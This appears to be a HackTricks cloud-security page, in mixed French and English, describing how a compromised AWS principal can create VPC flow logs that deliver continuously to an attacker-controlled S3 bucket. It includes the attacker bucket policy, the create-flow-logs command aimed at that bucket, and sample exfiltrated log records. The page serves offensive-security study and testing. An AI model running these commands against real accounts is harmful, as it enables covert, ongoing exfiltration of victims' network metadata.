AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Summary

Abuse ec2:CreateFlowLogs pour exporter des VPC, subnet ou ENI flow logs directement vers un attacker-controlled S3 bucket. Une fois que le delivery role est configuré pour écrire dans le bucket externe, chaque connexion observée sur la ressource monitorée est streamée hors du compte victim.

Requirements

  • Victim principal: ec2:CreateFlowLogs, ec2:DescribeFlowLogs, and iam:PassRole (if a delivery role is required/created).
  • Attacker bucket: S3 policy that trusts delivery.logs.amazonaws.com with s3:PutObject and bucket-owner-full-control.
  • Optional: logs:DescribeLogGroups if exporting to CloudWatch instead of S3 (not needed here).

Attack Walkthrough

  1. Attacker prĂ©pare une S3 bucket policy (dans le compte de l’attacker) qui permet au VPC Flow Logs delivery service d’écrire des objets. Replace placeholders before applying:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

Appliquer depuis le compte de l’attaquant :

aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (compromised principal) crĂ©e les flow logs ciblant l’attacker bucket:
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

En quelques minutes, des flow log files apparaissent dans le attacker bucket contenant des connexions pour tous les ENIs du VPC/subnet surveillé.

Preuves

Exemples d’enregistrements de flow log Ă©crits dans le attacker bucket :

version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Preuve de bucket listing:

aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

Impact

  • Exfiltration continue de mĂ©tadonnĂ©es rĂ©seau (IPs source/destination, ports, protocoles) pour le VPC/subnet/ENI surveillĂ©.
  • Permet l’analyse du trafic, l’identification de services sensibles et le hunting potentiel de misconfigurations des security groups depuis l’extĂ©rieur du compte victime.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks